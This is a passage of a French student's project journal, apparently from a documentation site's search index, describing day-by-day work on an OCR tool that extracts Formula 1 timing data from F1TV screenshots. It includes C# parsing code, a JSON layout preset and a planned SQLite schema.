puis je pense que la partie calibration et r\u00e9cup\u00e8ration d'images ne va pas trop changer et la partie calibration encore moins. La partie anglaise je fais la revoir un peu mais je l'avais d\u00e9ja faite pendant les premiers jours alors ca devrait aller. Pour le rendu il nous \u00e9tait demand\u00e9 de fournir un fichier PDF avec tout dedans avec une table des mati\u00e8res notre code source etc... Pour ce faire j'ai du changer le mkdocs.yml et installer des packages. Voici les changements :: site_name: Documentation Track Trends site_author: Rohmer Maxime copyright: \u00a9CFPTI Tech2 theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html - pymdownx.highlight plugins: - glightbox - search - img2fig - with-pdf: cover_subtitle: Vroum Vroum enabled_if_env: ENABLE_PDF_EXPORT - annexes-integration: annexes: # Required (at least 1) - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title - Program.cs: Code/Program.cs # An path to an annex with its title - Window.cs: Code/Window.cs # An path to an annex with its title - DriverData.cs: Code/DriverData.cs # An path to an annex with its title - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title - Form1.cs: Code/Form1.cs # An path to an annex with its title - Reader.cs: Code/Reader.cs # An path to an annex with its title - Zone.cs: Code/Zone.cs # An path to an annex with its title - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title - Settings.cs: Code/Settings.cs # An path to an annex with its title - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title Je remercie Monsieur Briard le sultan officiel de Mkdocs de la classe de m'avoir aid\u00e9 pour cette partie et avoir cr\u00e9\u00e9 un plugin qui me permet de mettre mon code source directement dans le pdf. Bon au final j'ai quand m\u00eame chang\u00e9 mon poster \"Poster V8\" Mais je suis trop attach\u00e9 \u00e0 l'ancien concept alors je vais plut\u00f4t utiliser ca : \"Poster V9\" Je pense que cette version est meilleure m\u00eame si elle est encore plus en bordel par ce que le texte permet de se faire une meilleure id\u00e9e de l'utilis\u00e9 de chaque partie.","title":"Mardi 9 Mai 2023"},{"location":"jdb.html#mercredi-10-mai-2023","text":"Bon hier je n'ai pas eu le temps de finir la documentation de la recup\u00e8ration d'images et de la calibration. Il faudra donc que je repasse un coup dessus en fin de semaine je pense. Mais la j'aimerais avancer sur la mise en commun du projet, comme la configuration fonctionne plut\u00f4t pas mal je pense que je vais juste vite fait aller commenter les methodes qui ne le sont pas encore et ensuite je vais passer \u00e0 l'impl\u00e9mentation de l'OCR. Je suis presque certain que l'OCR va avoir besoin de plus de r\u00e8glages mais bon on verra bien. Je me rend compte en commentant que la methode de load serait plus efficace avec un tout petit peu plus d'infos de la part du JSON. J'aurais pu ajouter l'offset entre chaque Driver Zone pour eviter un l\u00e8ger drift lors de la reconstruction. Mais bon rien de grave donc je pense que je vais le laisser comme ca pour le moment \u00e0 moins que ca me pose soucis plus tard. J'ai eu quelques soucis avec les images en 4K. Du coup j'ai descendu les variables d'environnement \u00e0 1920x1080 En fait il y a parfois un soucis un peu p\u00e9nible avec l'OCR. Parfois pour un temps comme ci dessous: \"1:45.140\" Le programme ne va pas bien comprendre les ponctuations et il va donner : 1115140 La il y a deux probl\u00e8mes... Le 1:xx.xxx est compris comme 11xxxxx et le 4 s'est transform\u00e9 en 1... J'ai cr\u00e9\u00e9 ce \"petit\" bout de code pour g\u00e8rer les fois ou les '.' et les ':' ont mal \u00e9t\u00e9 interpr\u00eat\u00e9s if ( rawNumbers . Count == 1 ) { //If this code is used it means that its bad ... //The methods that comes are really not that great and are juste quick fixes try { result = Convert . ToInt32 ( rawNumbers [ 0 ]); switch ( windowType ) { case OcrImage . WindowType . Sector : //The usual sector is in this form : 33.456 if ( rawNumbers [ 0 ]. Length == 6 ) { //The '.' has been understood like a number result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ] + rawNumbers [ 0 ][ 1 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ] + rawNumbers [ 0 ][ 5 ]); } if ( rawNumbers [ 0 ]. Length == 5 ) { //The '.' has been overlooked result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ] + rawNumbers [ 0 ][ 1 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ] + rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ]); } break ; case OcrImage . WindowType . LapTime : //The usual Lap time is in this form : 1:45:345 if ( rawNumbers [ 0 ]. Length == 6 ) { //The '.' and ':' have been overlooked //I Know Im skipping the cases where there are more than 9 minuts but it happens so rarely that... we dont care result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]) * 60000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ] + rawNumbers [ 0 ][ 2 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ] + rawNumbers [ 0 ][ 5 ]); } if ( rawNumbers [ 0 ]. Length == 7 ) { //There is two possibilities //Either 1:45.140 has been interpreted as 1145.10 or 1:451140. We will assume its the first one result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]) * 60000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ] + rawNumbers [ 0 ][ 3 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 4 ] + rawNumbers [ 0 ][ 5 ] + rawNumbers [ 0 ][ 6 ]); } break ; case OcrImage . WindowType . Gap : //The usual Gap is in this form : + 34.567 if ( rawNumbers [ 0 ]. Length == 5 ) { //The '.' has been overlooked result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ] + rawNumbers [ 0 ][ 1 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ] + rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ]); } break ; } if ( rawNumbers [ 0 ]. Length > 6 ) { //The number definitely has been interpreted wrong } } catch { //It can be because the input is empty or because its the LEADER bracket result = 0 ; } } else { //Auuuugh result = 0 ; } ConfigFile = \"./Presets/Clean_2023.json\" ; string gpUrl = \"https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play\" ; Bon je n'arrive pas \u00e0 faire fonctionner l'OCR sans tout faire crash \u00e0 chaque fois. Je vais abandonner le travail de la journ\u00e9e pour revenir au point initial... C'est tr\u00e8s frustrant mais bon je ne vois pas comment faire mieux. Rien ne marche alors qu'avant ca marchant super sur le projet OCR normal. Va savoir pourquoi m\u00eame comme ca, impossible de faire marcher l'OCR. Il y a un soucis au niveau de l'ASYNC qui me fait crash tout le temps en me disant qu'un objet est deja en train d'\u00eatre utilis\u00e9. Ca marchait nikel dans mes premi\u00e8res version je ne vois pas pourquoi ca p\u00eate maintenant. Je pense que je vois \u00e0 peu pr\u00e8s le soucis. public virtual async Task < DriverData > Decode ( List < string > driverList ) { int sectorCount = 0 ; DriverData result = new DriverData (); Parallel . ForEach ( Windows , async w => { // A switch would be prettier but I dont think its supported in this C# version if ( w is DriverNameWindow ) result . Name = ( string ) await ( w as DriverNameWindow ). DecodePng ( driverList ); if ( w is DriverDrsWindow ) result . DRS = ( bool ) await ( w as DriverDrsWindow ). DecodePng (); if ( w is DriverGapToLeaderWindow ) result . GapToLeader = ( int ) await ( w as DriverGapToLeaderWindow ). DecodePng (); if ( w is DriverLapTimeWindow ) result . LapTime = ( int ) await ( w as DriverLapTimeWindow ). DecodePng (); if ( w is DriverPositionWindow ) result . Position = ( int ) await ( w as DriverPositionWindow ). DecodePng (); if ( w is DriverSectorWindow ) { sectorCount ++; if ( sectorCount == 1 ) result . Sector1 = ( int ) await ( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 2 ) result . Sector2 = ( int ) await ( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 3 ) result . Sector3 = ( int ) await ( w as DriverSectorWindow ). DecodePng (); } if ( w is DriverTyresWindow ) result . CurrentTyre = ( Tyre ) await ( w as DriverTyresWindow ). DecodePng (); }); return result ; } Ca c'est ma methode de decoding de chaque Driver Zone. Le message d'erreur me parle d'une windowImage quand il dit qu'un objet est d\u00e9ja utilis\u00e9. Ma conjecture c'est que en essayant de faire toutes les windows en m\u00eame temps. Elles veulent parfois acc\u00e8der \u00e0 l'image principale en m\u00eame temps. Ce qui evidemment pose probl\u00e8me. Je pense que le fix le plus simple serait de faire le traitement sans le parallele quitte \u00e0 exporter ce fonctionnement sur chaque zone en elle m\u00eame pour ne pas perdre trop de performances. Ok je crois que je vois ou est le soucis. En fait dans cette version du programme c'est toujours la premi\u00e8re image qui \u00e9tait juste tout le temps prise et dans la premi\u00e8re image on a une partie des chiffres qui est bloqu\u00e9e par l'UI de la fen\u00eatre... lol... EN FAIT J'avais un soucis dans ma gestion des chiffres mal faits. Visiblement parfois quand je ne prenais pas en compte un :, un LapTime etait compris comme un Gap to leader ou un Secteur Bon j'en ai tellement marre... Je n'arrive tout simplement PAS \u00e0 faire fonctionner l'OCR ca crash tout le temps j'en peux plus. J'ai tent\u00e9 de r\u00e8gler les probl\u00e8mes de mauvaises detections de secteurs et temps au tour qui font crasher l'app : if ( rawNumbers . Count == 2 ) { //ss:ms result = ( Convert . ToInt32 ( rawNumbers [ 0 ]) * 1000 ) + Convert . ToInt32 ( rawNumbers [ 1 ]); if ( result > ( 60000 + 999 )) { if ( windowType == OcrImage . WindowType . LapTime ) { result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]) * 60000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 1 ]); } if ( windowType == OcrImage . WindowType . Sector ) { int seconds = 0 ; if ( rawNumbers [ 0 ]. Length == 3 ) { //We have one char that we need to delete //For no apparent reason im going to delete the first seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); } else { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); } int ms = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); result = seconds * 1000 + ms ; } } } Mais toujours impossible de faire fonctionner cette M**** C'est juste infernal. Je pense que je vais encore tout retirer et remplacer par ce que j'ai dans mon projet OCR original. Donc c'est une journ\u00e9e de perdue compl\u00eatement... C'est extr\u00eamement frustrant. Apr\u00e8s des heures de debug j'ai enfin r\u00e9ussi \u00e0 faire fonctionner le programme de temps en temps. Mais j'ai toujours le soucis que l'image ne veut pas changer alors que je fais tout pour et que l'OCR est nulle \u00e0 chier du coup...","title":"Mercredi 10 Mai 2023"},{"location":"jdb.html#jeudi-11-mai-2023","text":"Bon apr\u00e8s une bonne nuit de sommeil je vais reprendre les choses depuis le d\u00e9but. J'ai deux soucis : L'OCR pue du derche L'Image que l'on d\u00e9code ne change pas Pour la premi\u00e8re partie j'ai ma petite th\u00e9orie. Je pense que comme je donne des images 4K alors que le feed est en 1080P, il y a d\u00e9ja un genre d'interpolation qui est faite. Je pense donc qu'il faut que j'adapte mon engine pour qu'il fonctionne avec cette r\u00e9solution. Je me suis demand\u00e9 si ca n'\u00e9tait pas mieux de prendre en compte les deux r\u00e9solutions pour les pc un peu moins bal\u00e8zes et j'ai d\u00e9cid\u00e9 de n'en avoir rien a faire. On verra dans le futur si c'est une feature que je voudrais ajouter mais c'est en dehors du scope du dipl\u00f4me je pense. Pour la seconde partie, je pense qu'il faut que j'aille voir du c\u00f4te de OCR_Decode et de OCR Tester pour voir comment je faisais. Je dois forc\u00e9ment oublier un truc. Bon ca commence mal, quand je vais voir dans le projet OCR_Decode, le changement d'image est exactement le m\u00eame et il fonctionne alors que de mon c\u00f4t\u00e9 ca n'est pas le cas. Alors deux choses. Je me rend compte que le changement d'images n'a AUCUN effet sur la detection de texte, et seconde chose, le d\u00e9calage est trop grand entre les windows. Des que le soucis d'image est r\u00e8gl\u00e9 il va falloir que je change drastiquement ma facon de stocker la config en JSON. Il faut que je conserve les \u00e9carts. Sinon regardez ce que ca donne quand on arrive au dernier pilote : \"Zone de pilote d\u00e9cal\u00e9e\" Je commence \u00e0 devenir FOU. Je n'arrive pas \u00e0 changer cette foutue image wtf... J'ai beau tenter par tous les moyens de la changer par une image noire, l'image semble toujours rester celle du d\u00e9part. Bon j'ai enfin trouv\u00e9 pourquoi et je n'ai pas envie de dire comment j'ai trouv\u00e9... Je pense que l'on a tous droit \u00e0 son petit jardin secret. Maintenant ca veut dire que je peux me focus sur le concept important qui est le changement de la cr\u00e9ation et de la lecture des JSON. Voici un exemple de preset JSON : { \"Main\" : { \"x\" : 40 , \"y\" : 355 , \"width\" : 3784 , \"height\" : 1438 , \"Zones\" : [ { \"DriverZone\" : { \"x\" : 0 , \"y\" : -10 , \"width\" : 3784 , \"height\" : 71 , \"Windows\" : [ { \"Position\" : { \"x\" : 47 , \"y\" : 11 , \"width\" : 72 }, \"GapToLeader\" : { \"x\" : 445 , \"y\" : 13 , \"width\" : 201 }, \"LapTime\" : { \"x\" : 859 , \"y\" : 14 , \"width\" : 221 }, \"DRS\" : { \"x\" : 1094 , \"y\" : 13 , \"width\" : 173 }, \"Tyres\" : { \"x\" : 1270 , \"y\" : 11 , \"width\" : 1452 }, \"Name\" : { \"x\" : 2727 , \"y\" : 11 , \"width\" : 351 }, \"Sector1\" : { \"x\" : 3083 , \"y\" : 10 , \"width\" : 253 }, \"Sector2\" : { \"x\" : 3339 , \"y\" : 14 , \"width\" : 195 }, \"Sector3\" : { \"x\" : 3518 , \"y\" : 14 , \"width\" : 250 } } ] } } ] }, \"Drivers\" : [ \"Perez\" , \"Leclerc\" , \"Sainz\" , \"Alonso\" , \"Stroll\" , \"Russel\" , \"Verstappen\" , \"Zhou\" , \"Ocon\" , \"Hulkenberg\" , \"Hamilton\" , \"Norris\" , \"Tsunoda\" , \"Magnussen\" , \"Piastri\" , \"Albon\" , \"Gasly\" , \"Sargeant\" , \"Bottas\" , \"De Vries\" ] } Je pense que ce qui serait bien ce serait de rajouter un \"offsets\" qui contienne les 19 \u00e9carts restants. Bon... la structure de ma fabrication de JSON etait trop confuse je trouve alors je l'ai compl\u00eatement refaite. J'ai aussi abandonn\u00e9 l'id\u00e9e de faire un fichier le plus petit possible car au final on s'en fiche et le plus important c'est que toutes les windows et les zones soient aux bons endroits. Ca nous fait un fichier d'environs 1300 lignes mais au moins le code pour la serialisation est plut\u00f4t clean : public void SaveToJson ( List < string > drivers , string configName ) { string JSON = \"\" ; JsonObject jsonFileObject = new JsonObject (); //Creating the mainZone object JsonObject mainZoneObject = new JsonObject (); mainZoneObject . Add ( \"x\" , MainZone . Bounds . X ); mainZoneObject . Add ( \"y\" , MainZone . Bounds . Y ); mainZoneObject . Add ( \"width\" , MainZone . Bounds . Width ); mainZoneObject . Add ( \"height\" , MainZone . Bounds . Height ); JsonArray driverZonesArray = new JsonArray (); int DriverID = 0 ; foreach ( Zone driverZone in MainZone . Zones ) { DriverID ++; JsonObject driverZoneObject = new JsonObject (); driverZoneObject . Add ( \"name\" , \"Driver\" + DriverID ); driverZoneObject . Add ( \"x\" , driverZone . Bounds . X ); driverZoneObject . Add ( \"y\" , driverZone . Bounds . Y ); driverZoneObject . Add ( \"width\" , driverZone . Bounds . Width ); driverZoneObject . Add ( \"height\" , driverZone . Bounds . Height ); JsonArray windowsArray = new JsonArray (); JsonObject windowObject = new JsonObject (); foreach ( Window window in driverZone . Windows ) { windowObject . Add ( window . Name , new JsonObject { { \"x\" , window . Bounds . X }, { \"y\" , window . Bounds . Y }, { \"width\" , window . Bounds . Width }, { \"height\" , window . Bounds . Height } }); } windowsArray . Add ( windowObject ); driverZoneObject . Add ( \"Windows\" , windowsArray ); driverZonesArray . Add ( driverZoneObject ); } mainZoneObject . Add ( \"DriverZones\" , driverZonesArray ); JsonArray driversArray = new JsonArray (); foreach ( string driver in drivers ) { driversArray . Add ( driver ); } mainZoneObject . Add ( \"Drivers\" , driversArray ); jsonFileObject . Add ( \"Main\" , mainZoneObject ); JSON = jsonFileObject . ToString (); //Saving the file string path = CONFIGS_FOLDER_NAME + configName ; if ( File . Exists ( path + \".json\" )) { //We need to create a new name int count = 2 ; while ( File . Exists ( path + \"_\" + count + \".json\" )) { count ++; } path += \"_\" + count + \".json\" ; } else { path += \".json\" ; } File . WriteAllText ( path , JSON ); } Et normalement la lecture devrait \u00eatre encore plus simple. En fait c'\u00e9tait pas beaucoup plus simple mais au moins maintenant ca marche. Je vais pas mettre le code de lecture ici car c'est un peu trop long donc il va falloir me croire sur parole. (Ou aller sur Git) Bon bah on est au m\u00eame endroit qu'hier... Bon pour demain le plan de bataille ca va \u00eatre : Changer compl\u00eatement la methode \"GetTimeFromPng\" pour qu'elle prenne en compte toutes les possibilit\u00e9s de bugs et d'oubli de '.' ou de ':' mais pas selon le nombre de blocs mais selon le type de temps que l'on cherche Pour le moment je regarde le nombre de blocs et si il y en a deux alors c'est que c'est un temps de secteur. En fait non cela peut aussi \u00eatre un temps au tour qui a rat\u00e9 un point. Il faut que je bosse juste un peu vite fait la dessus et que j'arr\u00eate de putain de crasher d\u00e8s que un truc est pas au bon format. Ensuite quand ca aura arr\u00eat\u00e9 de crasher je vais reprendre l'OCR et voir pourquoi les resultats sont nuls a chier comme ca. Et le but c'est que demain soir j'ai une reconnaissance de caract\u00e8res plus proche de ce que j'avais dans d'autres projets... J'y croit 0 mais bon l'espoir fait vivre comme on dit.","title":"Jeudi 11 Mai 2023"},{"location":"jdb.html#vendredi-12-mai-2023","text":"Bon aujourd'hui il faut que ca marche. On va y aller par \u00e9tape. Je vais revoir toutes les methodes d'OCR et essayer de r\u00e9apliquer les filtres differemment et revenir au point de d\u00e9part. Avant de commencer je note plusieurs soucis avec les premiers tests : Les positions des pilotes ont l'air pas mal (Pas besoin de tout changer mais peut-\u00eatre simplement checker que les filtres sont bons) L'\u00e9cart avec le leader est \u00e9tonnamment pas mal aussi Le temps au tour est tout simplement horrible. Aucun n'est juste et de tr\u00e8s loin m\u00eame si les d\u00e9cimales ne sont pas forc\u00e9ment loin Le DRS je n'ai pas eu l'occasion de bien le tester mais je dirais que ca devrait \u00eatre bon (\u00e0 verifier quand le reste sera bon) Les pneus ne sont \u00e9tonnamment pas SI horribles, m\u00eame si parfois les lettres sont prises comme des chiffres Les noms de pilotes sont tr\u00e8s bon (pas \u00e9tonnant vu le syst\u00e8me de distance de Levenstein donc ca m\u00e9rite quand m\u00eame un petit check) Les secteurs sont en g\u00e9n\u00e9ral horribles mais pas toujours. C'est peut-\u00eatre un soucis de d\u00e9cimale ou des 4 qui se transforment en 1 J'ai remarqu\u00e9 que les 4 sont souvent pris comme des 1. Peut-\u00eatre que en ayant des images 4K l'interpolation est un peu diff\u00e9rente de ce que j'ai l'habitude de voir. Mais donc le plan aujourd'hui c'est de checker tous ces points et les faire fonctionner (youpi...) J'ai d\u00e9sactiv\u00e9 toutes les methodes de cette facon : int sectorCount = 0 ; DriverData result = new DriverData (); foreach ( Window w in Windows ) { // A switch would be prettier but I dont think its supported in this C# version if ( w is DriverNameWindow ) //result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList); result . Name = \"Unknown\" ; if ( w is DriverDrsWindow ) //result.DRS = (bool)await (w as DriverDrsWindow).DecodePng(); result . DRS = false ; if ( w is DriverGapToLeaderWindow ) //result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng(); result . GapToLeader = 0 ; if ( w is DriverLapTimeWindow ) //result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng(); result . LapTime = 0 ; if ( w is DriverPositionWindow ) //result.Position = (int)await (w as DriverPositionWindow).DecodePng(); result . Position = 0 ; if ( w is DriverSectorWindow ) { sectorCount ++; if ( sectorCount == 1 ) //result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng(); result . Sector1 = 0 ; if ( sectorCount == 2 ) //result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng(); result . Sector2 = 0 ; if ( sectorCount == 3 ) //result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng(); result . Sector3 = 0 ; } if ( w is DriverTyresWindow ) //result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng(); result . CurrentTyre = new Tyre ( Tyre . Type . Undefined , 0 ); } return result ; Le but c'est que ensuite je puisse y aller \u00e9tape par \u00e9tape. Position : Alors pour cette reconnaissance je dirais que la 4K fait des merveilles qui permettent de retirer du processing. La position apr\u00e8s un simple Treshold est assez bien reconnue et la dilataion et/ou Erosion ne sont pas nescessaires finalement. On va donc pouvoir gagner un certain temps et c'est un bon signe pour la suite. On peut aussi noter que quand un pilote est hors course toutes ses valeurs sont gris\u00e9es et sa position est prise comme un -1 Sectors, alors j'ai refait toute la partie qui concerne les secteurs et qui les nettoie. Et je me suis rendu compte qu'ils \u00e9taient bien souvent juste, le seul truc c'est que ils s'affichent de mani\u00e8re un peu sp\u00e9ciale. En fait dans la page de la F1TV les secteurs peuvent faire plus de 60 secondes sans passer sur un affichage de minutes. Ce qui fait que c'est un peu bizarre \u00e0 regarder mais c'est parfaitement juste. J'ai aussi pu simplifier la reconnaissance gr\u00e2ce \u00e0 l'image de meilleure qualit\u00e9 et maintenant les temps de secteur sont plut\u00f4t corrects. En fait le plus long et complexe c'est de pr\u00e9voir les cas particuliers ou un '.' a \u00e9t\u00e9 mal interpr\u00eat\u00e9... Et en parlant de ca, je vais aller m'occuper des temps au tour qui ajoutent une couche de complexit\u00e9 avec un '.' ET un ':' qui peuvent \u00eatre oubli\u00e9s... Oh et j'y pense, un truc malin pourrait \u00eatre de comparer les temps au tour et les temps de secteur. Ils devraient concorder normalement je pense. Ok je viens de finir la gestion des temps au tour... J'ai un code de genre 170 lignes pour juste nettoyer le resultat dans le cas ou des '.' n'ont pas \u00e9t\u00e9 trouv\u00e9s ou des ':' ont \u00e9t\u00e9 n'ont pas \u00e9t\u00e9 trouv\u00e9 ou si l'un des deux s'est transform\u00e9 en chiffre etc.. etc.. etc.. Le soucis c'est que la maintenant je me rend compte que les \u00e9carts entre les pilotes vont juste \u00eatre un enfer \u00e0 nettoyer... Ils peuvent aussi bien \u00eatre \"0.760\" comme \"1:34.456\" du coup... je sais pas vraiment comment faire pour tout nettoyer. Je pense que je vais juste en avoir rien \u00e0 faire et tant pis si de temps en temps c'est pas g\u00e9nial. Bon du coup j'ai pas pris en compte TOUS les cas possibles mais d\u00e9ja un certain nombre et c'est d\u00e9ja pas mal. Sur les diff\u00e9rents Grand Prix d'exemples ca a l'air de plut\u00f4t bien tourner ! Mais ca demande tellement de tests et de code que c'est un peu ridicule... La methode \"GetTimeFromPng\" fait d\u00e9ja presque 430 lignes \u00e0 cause de tous les cas possibles et tous les try catch. Ca peut para\u00eetre peu \u00e9l\u00e9gant mais j'ai essay\u00e9 de mettre des commentaires un peu partout pour permettre \u00e0 nimporte qui de comprendre ce qui se passe. J'ai aussi pu faire les pneus et maintenant (roulement de tambour) Ca marche (presque) En fait j'ai des soucis parfois quand les pneus sont un peu cach\u00e9s dans les permiers tours : Pneus cach\u00e9s Le soucis c'est que du coup le chiffre est un peu illisible... mais je pense que avec l'historique il devrait y avoir moyen de ne pas prendre en compte les chiffres de pneus pendant cinq tours apr\u00e8s le changement de pneu ou de simplement tenter de faire les calculs de pneus. Pour conclure la journ\u00e9e je pense que je devrais avoir le temps de faire un syst\u00e8me qui permet de refresh \u00e0 volont\u00e9. Par contre je viens de d\u00e9couvrir que quand un temps de secteur est en couleur on arrive pas \u00e0 le lire. Ah et la detection prend un peu moins de trois secondes sur mon pc je crois. Mais c'est seulement si les driver zones sont faites en m\u00eame temps mais en faisant ca de temps en temps ca crash et \u00e0 chaques fois c'est d'un endroit diff\u00e9rent du coup je comprend pas vraiment. Sinon ca prend dix secondes.","title":"vendredi 12 Mai 2023"},{"location":"jdb.html#lundi-15-mai-2023","text":"Aujourd'hui c'est journ\u00e9e poster et visites. Comme on va avoir des visites de premi\u00e8res ann\u00e9es voire de terminales et que le soir c'est visite des parents. Je pense que j'ai finit de tout regrouper (\u00e0 part \u00e9videmment le traitement et le stockage des donn\u00e9es) ce qui veut dire que je suis pas dans une superbe posture. Il va falloir que je sois tr\u00e8s efficace dans la partie stockage de donn\u00e9es et mise en place du mod\u00e8le si je veux avoir une chance de rendre un joli travail de dipl\u00f4me. (et m\u00eame comme ca je peux voir que le temps commence \u00e0 manquer) Dans l'id\u00e9al je devrais avoir termin\u00e9 la partie stockage jeudi... Ce qui veut dire que je n'ai que trois jours pour le faire et que en plus jeudi je dois travailler depuis la maison. Ca va pas \u00eatre simple. Mais aujourd'hui je vais m'occuper d'adapter la documentation de l'OCR et faire la documentation de toute la partie r\u00e9cup\u00e8ration d'images et de la calibration. Bon au final la journ\u00e9e a \u00e9t\u00e9 un peu difficile. On a pas vraiment pu travailler l'apr\u00e8s midi car il a fallu pr\u00e9senter le projet environs 10 fois \u00e0 toutes les classes et \u00e0 des parents voire futurs experts. Les d\u00e9mos ont plut\u00f4t bien fonctionn\u00e9es j'en suis assez content. Mais ca veut dire que la partie doc a pas forc\u00e9ment pu \u00eatre totalement compl\u00eat\u00e9e mais demain il va falloir que je m'occupe de la suite du projet.","title":"Lundi 15 Mai 2023"},{"location":"jdb.html#mardi-16-mai-2023","text":"Bon aujourd'hui c'est la partie stockage qui doit \u00eatre faite. Il y a plusieurs solutions possibles \u00e0 ce probl\u00e8me. Mais comme je n'ai besoin que d'une base de donn\u00e9e locale et que je ne veux pas que chaque utilisateur doive installer un serveur sur sa machine je pense que je vais utiliser une base de donn\u00e9es SQLITE. Il y a eu une petit intervention de mr Bonvin qui est venu me donner une id\u00e9e pour la partie OCR. En fait j'avais un soucis quand je voulais d\u00e9coder du texte de couleur. M\u00eame en appliquant un filtre de gris je n'arrivais pas \u00e0 faire reconnaitre les chiffres. Et il m'a dit que une bonne id\u00e9e cela pourrait de prendre la valeur max de chaque channel et de la faire appliquer \u00e0 tous ce qui blanchit assez bien l'image. J'ai d\u00e9cid\u00e9 d'exag\u00e8rer le blanchiment et cela donne des r\u00e9sultats plut\u00f4t... int\u00e9ressants... \"Filtre vanish oxy action sur un secteur violet\" Le soucis c'est que le violet est une couleur quand m\u00eame assez sombre alors il va falloir que je fasse un syst\u00e8me de treshold un peu sp\u00e9cial qui soit un peu plus sympa et qui prenne plus facilement des couleurs plus basses. Une methode \u00e0 laquelle j'ai pens\u00e9 pour detecter dans quel tour chaque pilote est serait de garder en m\u00e9moire toutes les infos de chaques pilotes au fur et \u00e0 mesure, et d\u00e8s qu'on ne recoit plus d'infos des secteurs ou que le temps au tour a chang\u00e9 on peut savoir qu'il faut passer au tour suivant. Pour detecter les arr\u00eats aux stands je peux essayer de detecter un changement de type de pneus ou de nombre de tours detect\u00e9s sur le m\u00eame pneu Au d\u00e9part je me disais que je pourrais peut-\u00eatre faire une base de donn\u00e9e SQLITE locale qui puisse \u00eatre reprise d'un Grand Prix \u00e0 un autre. Mais je me suis dit que de faire des statistiques inter Grand Prix \u00e9tait un peu en dehors du scope du projet. La base de donn\u00e9e sera donc cr\u00e9\u00e9e \u00e0 chaque d\u00e9marrage de l'app La mani\u00e8re dont je vois les choses en ce moment est qu'on aie deux sources de donn\u00e9es dans l'affichage final. On aurait une partie des infos qui seraient en direct depuis la detection : Les ecarts entre pilotes La position des pilotes Le dernier temps au tour Les derniers secteurs Les pneus Mais on aurait aussi des rubriques cr\u00e9\u00e9es de toutes pi\u00e8ces par des infos qui viennent de la BD Voici les rubriques qui pourraient \u00eatre int\u00e9ressantes \u00e0 voir dans l'interface finale : Les 3 ou 5 pilotes les plus rapides ces cinq derniers tours Le pilote qui a le plus fait de d\u00e9passements Les batailles en cours Les 3 pilotes les plus lents Un classement pond\u00e9r\u00e9 avec les 20s de moins pour tous les pilotes qui ne se sont pas encore arr\u00eat\u00e9s En gros l'id\u00e9e serait que on update une fois par tour et par pilote la base de donn\u00e9e avec des infos comme le temps au tour, le type de pneu etc... Voici les trois tables que je vais cr\u00e9er : Drivers Colonne Type de Data Description Tag ID INTEGER ID du pilote PRIMARY Name VARCHAR Nom du pilote NOT NULL Pitstops Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui a effectu\u00e9 le Pitstop PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL Stats Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui concern\u00e9 PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL LapTime INTEGER Temps au tour (MS) NOT NULL Sector1 